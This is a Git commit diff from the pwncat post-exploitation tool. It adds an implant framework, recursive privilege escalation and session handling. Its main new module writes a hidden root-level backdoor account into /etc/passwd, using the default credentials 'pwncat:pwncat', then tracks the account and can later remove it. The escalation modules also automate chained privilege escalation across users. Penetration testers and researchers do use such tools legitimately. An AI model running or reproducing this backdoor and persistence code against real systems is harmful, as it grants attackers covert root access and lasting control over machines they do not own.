mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 02:44:14 +01:00
Working implants and multi-session escalation
This commit is contained in:
parent
814c3458a7
commit
3e9a56a409
@ -7,7 +7,7 @@ set -g privkey "data/pwncat"
|
||||
# Set the pwncat backdoor user and password
|
||||
set -g backdoor_user "pwncat"
|
||||
set -g backdoor_pass "pwncat"
|
||||
set -g db "memory://"
|
||||
set -g db "file://db/pwncat"
|
||||
|
||||
set -g on_load {
|
||||
# Run a command upon a stable connection
|
||||
|
@ -81,11 +81,18 @@ class Ssh(Channel):
|
||||
chan = t.open_session()
|
||||
chan.get_pty()
|
||||
chan.invoke_shell()
|
||||
chan.setblocking(0)
|
||||
|
||||
self.client = chan
|
||||
self.address = (host, port)
|
||||
self._connected = True
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._connected
|
||||
|
||||
def close(self):
|
||||
self._connected = False
|
||||
self.client.close()
|
||||
|
||||
def send(self, data: bytes):
|
||||
@ -119,6 +126,11 @@ class Ssh(Channel):
|
||||
else:
|
||||
data = b""
|
||||
|
||||
data += self.client.recv(count - len(data))
|
||||
try:
|
||||
data += self.client.recv(count - len(data))
|
||||
if data == b"":
|
||||
raise ChannelClosed(self)
|
||||
except socket.timeout:
|
||||
pass
|
||||
|
||||
return data
|
||||
|
@ -67,10 +67,21 @@ class Command(CommandDefinition):
|
||||
PROG = "escalate"
|
||||
ARGS = {
|
||||
"command": Parameter(
|
||||
Complete.CHOICES, metavar="COMMAND", choices=["list", "run"]
|
||||
Complete.CHOICES,
|
||||
metavar="COMMAND",
|
||||
choices=["list", "run"],
|
||||
help="The action to take (list/run)",
|
||||
),
|
||||
"--user,-u": Parameter(
|
||||
Complete.CHOICES, metavar="USERNAME", choices=get_user_choices
|
||||
Complete.CHOICES,
|
||||
metavar="USERNAME",
|
||||
choices=get_user_choices,
|
||||
help="The target user for escalation.",
|
||||
),
|
||||
"--recursive,-r": Parameter(
|
||||
Complete.NONE,
|
||||
action="store_true",
|
||||
help="Attempt recursive escalation through multiple users",
|
||||
),
|
||||
}
|
||||
|
||||
@ -93,7 +104,7 @@ class Command(CommandDefinition):
|
||||
with manager.target.task(
|
||||
f"escalating to [cyan]{args.user.name}[/cyan]"
|
||||
) as task:
|
||||
self.do_escalate(manager, task, args.user)
|
||||
self.do_escalate(manager, task, args.user, args)
|
||||
|
||||
def list_abilities(self, manager, args):
|
||||
"""This is just a wrapper for `run enumerate types=escalate.*`, but
|
||||
@ -117,7 +128,7 @@ class Command(CommandDefinition):
|
||||
elif not found:
|
||||
console.log("[yellow]warning[/yellow]: no direct escalations found")
|
||||
|
||||
def do_escalate(self, manager: "pwncat.manager.Manager", task, user):
|
||||
def do_escalate(self, manager: "pwncat.manager.Manager", task, user, args):
|
||||
""" Execute escalations until we find one that works """
|
||||
|
||||
attempted = []
|
||||
@ -154,7 +165,7 @@ class Command(CommandDefinition):
|
||||
# Attempt escalation directly to the target user if possible
|
||||
for escalation in (e for e in escalations if e.uid == user.id):
|
||||
try:
|
||||
manager.target.update_task(
|
||||
original_session.update_task(
|
||||
task, status=f"attempting {escalation.title(manager.target)}"
|
||||
)
|
||||
result = escalation.escalate(manager.target)
|
||||
@ -181,10 +192,16 @@ class Command(CommandDefinition):
|
||||
except ModuleFailed:
|
||||
failed.append(e)
|
||||
|
||||
if not args.recursive:
|
||||
manager.target.log(
|
||||
f"[red]error[/red]: no working direct escalations to {user.name}"
|
||||
)
|
||||
return
|
||||
|
||||
# Attempt escalation to a different user and recurse
|
||||
for escalation in (e for e in escalations if e.uid != user.id):
|
||||
try:
|
||||
manager.target.update_task(
|
||||
original_session.update_task(
|
||||
task, status=f"attempting {escalation.title(manager.target)}"
|
||||
)
|
||||
result = escalation.escalate(manager.target)
|
||||
|
@ -40,19 +40,27 @@ class Command(CommandDefinition):
|
||||
if args.list or (not args.kill and args.session_id is None):
|
||||
table = Table(title="Active Sessions", box=box.MINIMAL_DOUBLE_HEAD)
|
||||
|
||||
table.add_column("Active")
|
||||
table.add_column("ID")
|
||||
table.add_column("")
|
||||
table.add_column("User")
|
||||
table.add_column("Host ID")
|
||||
table.add_column("Platform")
|
||||
table.add_column("Type")
|
||||
table.add_column("Address")
|
||||
|
||||
for session in manager.sessions:
|
||||
for ident, session in enumerate(manager.sessions):
|
||||
ident = str(ident)
|
||||
kwargs = {"style": ""}
|
||||
if session is manager.target:
|
||||
ident = "*" + ident
|
||||
kwargs["style"] = "underline"
|
||||
table.add_row(
|
||||
str(session == manager.target),
|
||||
str(session.host),
|
||||
str(ident),
|
||||
session.current_user().name,
|
||||
str(session.hash),
|
||||
session.platform.name,
|
||||
str(type(session.platform.channel).__name__),
|
||||
str(session.platform.channel),
|
||||
**kwargs,
|
||||
)
|
||||
|
||||
console.print(table)
|
||||
@ -63,20 +71,17 @@ class Command(CommandDefinition):
|
||||
console.log("[red]error[/red]: no session id specified")
|
||||
return
|
||||
|
||||
session = None
|
||||
for s in manager.sessions:
|
||||
if s.host == args.session_id:
|
||||
session = s
|
||||
break
|
||||
else:
|
||||
console.log(f"[red]error[/red]: {args.session_id}: no such active session")
|
||||
return
|
||||
if args.session_id < 0 or args.session_id >= len(manager.sessions):
|
||||
console.log(f"[red]error[/red]: {args.session_id}: no such session!")
|
||||
|
||||
session = manager.sessions[args.session_id]
|
||||
|
||||
if args.kill:
|
||||
channel = str(session.platform.channel)
|
||||
session.platform.channel.close()
|
||||
session.died()
|
||||
console.log(f"session {session.host} closed")
|
||||
console.log(f"session-{args.session_id} ({channel}) closed")
|
||||
return
|
||||
|
||||
manager.target = session
|
||||
console.log(f"targeting session {session.host}")
|
||||
console.log(f"targeting session-{args.session_id} ({session.platform.channel})")
|
||||
|
@ -6,6 +6,7 @@ from pwncat.db import Fact
|
||||
from persistent.list import PersistentList
|
||||
from pwncat.facts.ability import *
|
||||
from pwncat.facts.escalate import *
|
||||
from pwncat.facts.implant import *
|
||||
|
||||
|
||||
class Group(Fact):
|
||||
|
40
pwncat/facts/implant.py
Normal file
40
pwncat/facts/implant.py
Normal file
@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env python3
|
||||
import enum
|
||||
|
||||
from pwncat.db import Fact
|
||||
|
||||
|
||||
class ImplantType(enum.Flag):
|
||||
SPAWN = enum.auto()
|
||||
REPLACE = enum.auto()
|
||||
REMOTE = enum.auto()
|
||||
|
||||
|
||||
class Implant(Fact):
|
||||
""" An installed implant """
|
||||
|
||||
def __init__(self, source, typ, uid):
|
||||
|
||||
types = []
|
||||
if ImplantType.SPAWN in typ:
|
||||
types.append("implant.spawn")
|
||||
if ImplantType.REPLACE in typ:
|
||||
types.append("implant.replace")
|
||||
if ImplantType.REMOTE in typ:
|
||||
types.append("implant.remote")
|
||||
|
||||
super().__init__(source=source, types=types)
|
||||
|
||||
self.uid = uid
|
||||
|
||||
def escalate(self, session: "pwncat.manager.Session"):
|
||||
"""Escalate to the target user locally. Only valid for spawn or
|
||||
replace implants."""
|
||||
raise NotImplementedError()
|
||||
|
||||
def trigger(self, target: "pwncat.target.Target"):
|
||||
"""Trigger this implant for remote connection as the target user.
|
||||
This is only valid for remote implants."""
|
||||
|
||||
def remove(self, session: "pwncat.manager.Session"):
|
||||
""" Remove this implant from the target """
|
@ -436,7 +436,7 @@ class Manager:
|
||||
|
||||
def print(self, *args, **kwargs):
|
||||
|
||||
if self.target is not None:
|
||||
if self.target is not None and self.target._progress is not None:
|
||||
self.target._progress.print(*args, **kwargs)
|
||||
else:
|
||||
console.print(*args, **kwargs)
|
||||
|
110
pwncat/modules/agnostic/implant.py
Normal file
110
pwncat/modules/agnostic/implant.py
Normal file
@ -0,0 +1,110 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from rich.prompt import Prompt
|
||||
|
||||
from pwncat.modules import BaseModule, Argument, Status, Bool, ModuleFailed
|
||||
from pwncat.facts import Implant
|
||||
from pwncat.util import console
|
||||
|
||||
|
||||
class Module(BaseModule):
|
||||
"""Interact with installed implants in an open session. This module
|
||||
provides the ability to remove implants as well as manually escalate
|
||||
with a given implant. Implants implementing local escalation will
|
||||
automatically be picked up by the `escalate` command, however this
|
||||
module provides an alternative way to trigger escalation manually."""
|
||||
|
||||
PLATFORM = None
|
||||
""" No platform restraints """
|
||||
ARGUMENTS = {
|
||||
"remove": Argument(Bool, default=False, help="remove installed implants"),
|
||||
"escalate": Argument(
|
||||
Bool, default=False, help="escalate using an installed local implant"
|
||||
),
|
||||
}
|
||||
|
||||
def run(self, session, remove, escalate):
|
||||
""" Perform the requested action """
|
||||
|
||||
if (not remove and not escalate) or (remove and escalate):
|
||||
raise ModuleFailed("expected one of escalate or remove")
|
||||
|
||||
# Look for matching implants
|
||||
implants = list(
|
||||
implant
|
||||
for implant in session.run("enumerate", types=["implant.*"])
|
||||
if not escalate
|
||||
or "implant.replace" in implant.types
|
||||
or "implant.spawn" in implant.types
|
||||
)
|
||||
|
||||
try:
|
||||
session._progress.stop()
|
||||
|
||||
console.print("Found the following implants:")
|
||||
for i, implant in enumerate(implants):
|
||||
console.print(f"{i+1}. {implant.title(session)}")
|
||||
|
||||
if remove:
|
||||
prompt = "Which should we remove (e.g. '1 2 4', default: all)? "
|
||||
elif escalate:
|
||||
prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? "
|
||||
|
||||
while True:
|
||||
selections = Prompt.ask(prompt, console=console)
|
||||
if selections == "":
|
||||
break
|
||||
|
||||
try:
|
||||
implant_ids = [int(idx.strip()) for idx in selections]
|
||||
# Filter the implants
|
||||
implants: List[Implant] = [implants[i - 1] for i in implant_ids]
|
||||
break
|
||||
except (IndexError, ValueError):
|
||||
console.print("[red]error[/red]: invalid selection!")
|
||||
|
||||
finally:
|
||||
session._progress.start()
|
||||
|
||||
nremoved = 0
|
||||
|
||||
for implant in implants:
|
||||
if remove:
|
||||
try:
|
||||
yield Status(f"removing: {implant.title(session)}")
|
||||
implant.remove(session)
|
||||
session.target.facts.remove(implant)
|
||||
nremoved += 1
|
||||
except ModuleFailed as exc:
|
||||
session.log(
|
||||
f"[red]error[/red]: removal failed: {implant.title(session)}"
|
||||
)
|
||||
elif escalate:
|
||||
try:
|
||||
yield Status(
|
||||
f"attempting escalation with: {implant.title(session)}"
|
||||
)
|
||||
result = implant.escalate(session)
|
||||
|
||||
if "implant.spawn" in implant.types:
|
||||
# Move to the newly established session
|
||||
session.manager.target = result
|
||||
else:
|
||||
# Track the new shell layer in the current session
|
||||
session.layers.append(result)
|
||||
|
||||
session.log(
|
||||
f"escalation [green]succeeded[/green] with: {implant.title(session)}"
|
||||
)
|
||||
break
|
||||
except ModuleFailed:
|
||||
continue
|
||||
else:
|
||||
if escalate:
|
||||
raise ModuleFailed("no working local escalation implants found")
|
||||
|
||||
if nremoved:
|
||||
session.log(f"removed {nremoved} implants from target")
|
||||
|
||||
# Save database modifications
|
||||
session.db.transaction_manager.commit()
|
@ -22,7 +22,7 @@ def host_type(ident: str):
|
||||
return ident
|
||||
|
||||
|
||||
class PersistModule(BaseModule):
|
||||
class ImplantModule(BaseModule):
|
||||
"""
|
||||
Base class for all persistence modules.
|
||||
|
||||
|
76
pwncat/modules/implant.py
Normal file
76
pwncat/modules/implant.py
Normal file
@ -0,0 +1,76 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
|
||||
from rich.prompt import Prompt
|
||||
|
||||
from pwncat.modules import Bool, Status, Argument, BaseModule, ModuleFailed
|
||||
from pwncat.util import console
|
||||
from pwncat.facts import Implant, ImplantType
|
||||
|
||||
|
||||
class ImplantModule(BaseModule):
|
||||
"""
|
||||
Base class for all persistence modules.
|
||||
|
||||
Persistence modules should inherit from this class, and implement
|
||||
the ``install``, ``remove``, and ``escalate`` methods. All modules must
|
||||
take a ``user`` argument. If the module is a "system" module, and
|
||||
can only be installed as root, then an error should be raised for
|
||||
any "user" that is not root.
|
||||
|
||||
If you need your own arguments to a module, you can define your
|
||||
arguments like this:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
ARGUMENTS = {
|
||||
**PersistModule.ARGUMENTS,
|
||||
"your_arg": Argument(str)
|
||||
}
|
||||
|
||||
All arguments **must** be picklable. They are stored in the database
|
||||
as a SQLAlchemy PickleType containing a dictionary of name-value
|
||||
pairs.
|
||||
|
||||
"""
|
||||
|
||||
""" Defines where this implant module is useful (either remote
|
||||
connection or local escalation or both). This also identifies a
|
||||
given implant module as applying to "all users" """
|
||||
ARGUMENTS = {}
|
||||
""" The default arguments for any persistence module. If other
|
||||
arguments are specified in sub-classes, these must also be
|
||||
included to ensure compatibility across persistence modules. """
|
||||
COLLAPSE_RESULT = True
|
||||
""" The ``run`` method returns a single scalar value even though
|
||||
it utilizes a generator to provide status updates. """
|
||||
|
||||
def run(self, session: "pwncat.manager.Session", remove, escalate, **kwargs):
|
||||
"""This method should not be overriden by subclasses. It handles all logic
|
||||
for installation, escalation, connection, and removal. The standard interface
|
||||
of this method allows abstract interactions across all persistence modules."""
|
||||
|
||||
yield Status(f"installing implant")
|
||||
implant = self.install(session, **kwargs)
|
||||
|
||||
# Register the installed implant as an enumerable fact
|
||||
session.register_fact(implant)
|
||||
|
||||
# Update the database
|
||||
session.db.transaction_manager.commit()
|
||||
|
||||
# Return the implant
|
||||
return implant
|
||||
|
||||
def install(self, **kwargs):
|
||||
"""
|
||||
Install the implant on the target host and return a new implant instance.
|
||||
The implant will be automatically added to the database. Arguments aside
|
||||
from `remove` and `escalate` are passed directly to the install method.
|
||||
|
||||
:param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored.
|
||||
:type user: str
|
||||
:param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary.
|
||||
:raises ModuleFailed: installation failed.
|
||||
"""
|
||||
raise NotImplementedError
|
@ -7,6 +7,8 @@ from pwncat.modules import ModuleFailed
|
||||
from pwncat.facts.tamper import ReplacedFile
|
||||
from pwncat.platform.linux import Linux
|
||||
from pwncat.modules.enumerate import Schedule, EnumerateModule
|
||||
from pwncat.modules.linux.implant.passwd import PasswdImplant
|
||||
from pwncat.facts import ImplantType
|
||||
|
||||
|
||||
class AppendPasswd(EscalationReplace):
|
||||
@ -36,23 +38,22 @@ class AppendPasswd(EscalationReplace):
|
||||
|
||||
# Add our password
|
||||
saved_content = "".join(passwd_contents)
|
||||
passwd_contents.append(
|
||||
f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}"""
|
||||
)
|
||||
new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""
|
||||
passwd_contents.append(new_line)
|
||||
|
||||
try:
|
||||
# Write the modified password entry back
|
||||
with self.ability.open(session, "/etc/passwd", "w") as filp:
|
||||
filp.writelines(passwd_contents)
|
||||
filp.write("\n")
|
||||
|
||||
# Ensure we track the tampered file
|
||||
session.register_fact(
|
||||
ReplacedFile(
|
||||
source=self.source,
|
||||
uid=0,
|
||||
path="/etc/passwd",
|
||||
data=saved_content,
|
||||
PasswdImplant(
|
||||
"linux.implant.passwd",
|
||||
ImplantType.REPLACE,
|
||||
backdoor_user,
|
||||
backdoor_pass,
|
||||
new_line,
|
||||
)
|
||||
)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
|
42
pwncat/modules/linux/enumerate/escalate/test_ssh.py
Normal file
42
pwncat/modules/linux/enumerate/escalate/test_ssh.py
Normal file
@ -0,0 +1,42 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from pwncat.facts import EscalationSpawn
|
||||
from pwncat.channel import ChannelError
|
||||
from pwncat.modules import ModuleFailed
|
||||
from pwncat.modules.enumerate import Schedule, EnumerateModule
|
||||
from pwncat.platform.linux import Linux
|
||||
|
||||
|
||||
class TestNewSSHSession(EscalationSpawn):
|
||||
""" Escalation via SSH as root """
|
||||
|
||||
def __init__(self, source):
|
||||
super().__init__(source=source, source_uid=1000, uid=1001)
|
||||
|
||||
def escalate(self, session: "pwncat.manager.Manager") -> "pwncat.manager.Session":
|
||||
|
||||
try:
|
||||
new_session = session.manager.create_session(
|
||||
"linux",
|
||||
host="pwncat-ubuntu",
|
||||
user="john",
|
||||
identity="/home/caleb/.ssh/id_rsa",
|
||||
)
|
||||
except ChannelError as exc:
|
||||
raise ModuleFailed(str(exc)) from exc
|
||||
|
||||
return new_session
|
||||
|
||||
def title(self, session):
|
||||
return "ssh to [cyan]pwncat-ubuntu[cyan] as [blue]john[/blue]"
|
||||
|
||||
|
||||
class Module(EnumerateModule):
|
||||
""" Test enumeration to provide a EscalationSpawn fact """
|
||||
|
||||
PROVIDES = ["escalate.spawn"]
|
||||
SCHEDULE = Schedule.ONCE
|
||||
PLATFORM = [Linux]
|
||||
|
||||
def enumerate(self, session):
|
||||
yield TestNewSSHSession(self.name)
|
@ -66,19 +66,22 @@ class Module(EnumerateModule):
|
||||
)
|
||||
|
||||
facts = []
|
||||
with proc.stdout as stream:
|
||||
for path in stream:
|
||||
# Parse out owner ID and path
|
||||
original_path = path
|
||||
path = path.strip().split(" ")
|
||||
uid, path = int(path[0]), " ".join(path[1:])
|
||||
try:
|
||||
with proc.stdout as stream:
|
||||
for path in stream:
|
||||
# Parse out owner ID and path
|
||||
original_path = path
|
||||
path = path.strip().split(" ")
|
||||
uid, path = int(path[0]), " ".join(path[1:])
|
||||
|
||||
fact = Binary(self.name, path, uid)
|
||||
yield fact
|
||||
fact = Binary(self.name, path, uid)
|
||||
yield fact
|
||||
|
||||
yield from (
|
||||
build_gtfo_ability(
|
||||
self.name, uid, method, source_uid=None, suid=True
|
||||
yield from (
|
||||
build_gtfo_ability(
|
||||
self.name, uid, method, source_uid=None, suid=True
|
||||
)
|
||||
for method in session.platform.gtfo.iter_binary(path)
|
||||
)
|
||||
for method in session.platform.gtfo.iter_binary(path)
|
||||
)
|
||||
finally:
|
||||
proc.wait()
|
||||
|
0
pwncat/modules/linux/implant/__init__.py
Normal file
0
pwncat/modules/linux/implant/__init__.py
Normal file
111
pwncat/modules/linux/implant/passwd.py
Normal file
111
pwncat/modules/linux/implant/passwd.py
Normal file
@ -0,0 +1,111 @@
|
||||
#!/usr/bin/env python3
|
||||
import crypt
|
||||
|
||||
from pwncat.facts import Implant, ImplantType
|
||||
from pwncat.modules.implant import ImplantModule
|
||||
from pwncat.platform.linux import Linux
|
||||
from pwncat.modules import ModuleFailed, Argument
|
||||
|
||||
|
||||
class PasswdImplant(Implant):
|
||||
""" Implant tracker for a user added directly to /etc/passwd """
|
||||
|
||||
def __init__(self, source, implant_type, user, password, added_line):
|
||||
super().__init__(source=source, typ=implant_type, uid=0)
|
||||
|
||||
self.user = user
|
||||
self.password = password
|
||||
self.added_line = added_line
|
||||
|
||||
def escalate(self, session: "pwncat.manager.Session"):
|
||||
""" Escalate privileges to the fake root account """
|
||||
|
||||
try:
|
||||
session.platform.su(self.user, password=self.password)
|
||||
return lambda session: session.platform.channel.send(b"exit\n")
|
||||
except PermissionError:
|
||||
raise ModuleFailed(f"authentication as {self.user} failed")
|
||||
|
||||
def remove(self, session: "pwncat.manager.Session"):
|
||||
""" Remove the added line """
|
||||
|
||||
if session.platform.getuid() != 0:
|
||||
raise ModuleFailed("removal requires root privileges")
|
||||
|
||||
try:
|
||||
with session.platform.open("/etc/passwd", "r") as filp:
|
||||
passwd_contents = [line for line in filp if line != self.added_line]
|
||||
except (FileNotFoundError, PermissionError) as filp:
|
||||
raise ModuleFailed("failed to read /etc/passwd")
|
||||
|
||||
try:
|
||||
with session.platform.open("/etc/passwd", "w") as filp:
|
||||
filp.writelines(passwd_contents)
|
||||
except (FileNotFoundError, PermissionError) as filp:
|
||||
raise ModuleFailed("failed to write /etc/passwd")
|
||||
|
||||
def title(self, session: "pwncat.manager.Session"):
|
||||
return f"""[blue]{self.user}[/blue]:[red]{self.password}[/red] added to [cyan]/etc/passwd[/cyan] w/ uid=0"""
|
||||
|
||||
|
||||
class Module(ImplantModule):
|
||||
""" Add a user to /etc/passwd with a known password and UID/GID of 0. """
|
||||
|
||||
TYPE = ImplantType.REPLACE
|
||||
PLATFORM = [Linux]
|
||||
ARGUMENTS = {
|
||||
**ImplantModule.ARGUMENTS,
|
||||
"backdoor_user": Argument(
|
||||
str, default="pwncat", help="name of new uid=0 user (default: pwncat)"
|
||||
),
|
||||
"backdoor_pass": Argument(
|
||||
str, default="pwncat", help="password for new user (default: pwncat)"
|
||||
),
|
||||
"shell": Argument(
|
||||
str, default="current", help="shell for new user (default: current)"
|
||||
),
|
||||
}
|
||||
|
||||
def install(
|
||||
self,
|
||||
session: "pwncat.manager.Session",
|
||||
backdoor_user,
|
||||
backdoor_pass,
|
||||
shell,
|
||||
):
|
||||
""" Add the new user """
|
||||
|
||||
if session.current_user().id != 0:
|
||||
raise ModuleFailed("installation required root privileges")
|
||||
|
||||
if shell == "current":
|
||||
shell = session.platform.getenv("SHELL")
|
||||
if shell is None:
|
||||
shell = "/bin/sh"
|
||||
|
||||
try:
|
||||
with session.platform.open("/etc/passwd", "r") as filp:
|
||||
passwd_contents = list(filp)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
raise ModuleFailed("faild to read /etc/passwd")
|
||||
|
||||
# Hash the password
|
||||
backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)
|
||||
|
||||
# Store the new line we are adding
|
||||
new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n"""
|
||||
|
||||
# Add the new line
|
||||
passwd_contents.append(new_line)
|
||||
|
||||
try:
|
||||
# Write the new contents
|
||||
with session.platform.open("/etc/passwd", "w") as filp:
|
||||
filp.writelines(passwd_contents)
|
||||
|
||||
# Return an implant tracker
|
||||
return PasswdImplant(
|
||||
self.name, ImplantType.REPLACE, backdoor_user, backdoor_pass, new_line
|
||||
)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
raise ModuleFailed("failed to write /etc/passwd")
|
@ -45,6 +45,7 @@ class PopenLinux(pwncat.subprocess.Popen):
|
||||
self.start_delim: bytes = start_delim
|
||||
self.end_delim: bytes = end_delim
|
||||
self.code_delim: bytes = code_delim
|
||||
self.args = args
|
||||
|
||||
# Create a reader-pipe
|
||||
if stdout == pwncat.subprocess.PIPE:
|
||||
@ -94,6 +95,9 @@ class PopenLinux(pwncat.subprocess.Popen):
|
||||
if self.stdout_raw is not None:
|
||||
self.stdout_raw.close()
|
||||
|
||||
# Hope they know what they're doing...
|
||||
self.platform.command_running = None
|
||||
|
||||
def poll(self):
|
||||
|
||||
if self.returncode is not None:
|
||||
@ -191,6 +195,7 @@ class PopenLinux(pwncat.subprocess.Popen):
|
||||
# Kill the process (SIGINT)
|
||||
self.platform.channel.send(util.CTRL_C * 2)
|
||||
self.returncode = -1
|
||||
self.platform.command_running = None
|
||||
|
||||
def terminate(self):
|
||||
|
||||
@ -200,6 +205,7 @@ class PopenLinux(pwncat.subprocess.Popen):
|
||||
# Terminate the process (SIGQUIT)
|
||||
self.platform.channel.send(b"\x1C\x1C")
|
||||
self.returncode = -1
|
||||
self.platform.command_running = None
|
||||
|
||||
def _receive_returncode(self):
|
||||
"""All output has been read of the stream, now we read
|
||||
@ -210,6 +216,9 @@ class PopenLinux(pwncat.subprocess.Popen):
|
||||
code = code.split(self.code_delim)[0]
|
||||
code = code.strip().decode("utf-8")
|
||||
|
||||
# This command has finished
|
||||
self.platform.command_running = None
|
||||
|
||||
try:
|
||||
self.returncode = int(code)
|
||||
except ValueError:
|
||||
@ -464,6 +473,7 @@ class Linux(Platform):
|
||||
# Name of this platform. This stored in the database and used
|
||||
# to match modules to this platform.
|
||||
self.name = "linux"
|
||||
self.command_running = None
|
||||
|
||||
# This causes an stty to be sent.
|
||||
# If we aren't in a pty, it doesn't matter.
|
||||
@ -682,6 +692,9 @@ class Linux(Platform):
|
||||
"""Retrieve the current user ID"""
|
||||
|
||||
try:
|
||||
# NOTE: this is probably not great... but sometimes it fails when transitioning
|
||||
# states, and I can't pin down why. The second time normally succeeds, and I've
|
||||
# never observed it hanging for any significant amount of time.
|
||||
proc = self.run(["id", "-ru"], capture_output=True, text=True, check=True)
|
||||
return int(proc.stdout.rstrip("\n"))
|
||||
except CalledProcessError as exc:
|
||||
@ -777,6 +790,11 @@ class Linux(Platform):
|
||||
else:
|
||||
raise ValueError("expected a command string or list of arguments")
|
||||
|
||||
if self.command_running is not None:
|
||||
raise PlatformError(
|
||||
f"attempting to run {repr(command)} during execution of {self.command_running.args}!"
|
||||
)
|
||||
|
||||
if shell:
|
||||
# Ensure this works normally
|
||||
command = shlex.join(["/bin/sh", "-c", command])
|
||||
@ -843,7 +861,7 @@ class Linux(Platform):
|
||||
# Log the command
|
||||
self.logger.info(command.decode("utf-8"))
|
||||
|
||||
return PopenLinux(
|
||||
popen = PopenLinux(
|
||||
self,
|
||||
args,
|
||||
stdout,
|
||||
@ -856,6 +874,9 @@ class Linux(Platform):
|
||||
end_delim.encode("utf-8") + b"\n",
|
||||
code_delim.encode("utf-8") + b"\n",
|
||||
)
|
||||
self.command_running = popen
|
||||
|
||||
return popen
|
||||
|
||||
def chdir(self, path: Union[str, Path]):
|
||||
"""
|
||||
|
Loading…
Reference in New Issue
Block a user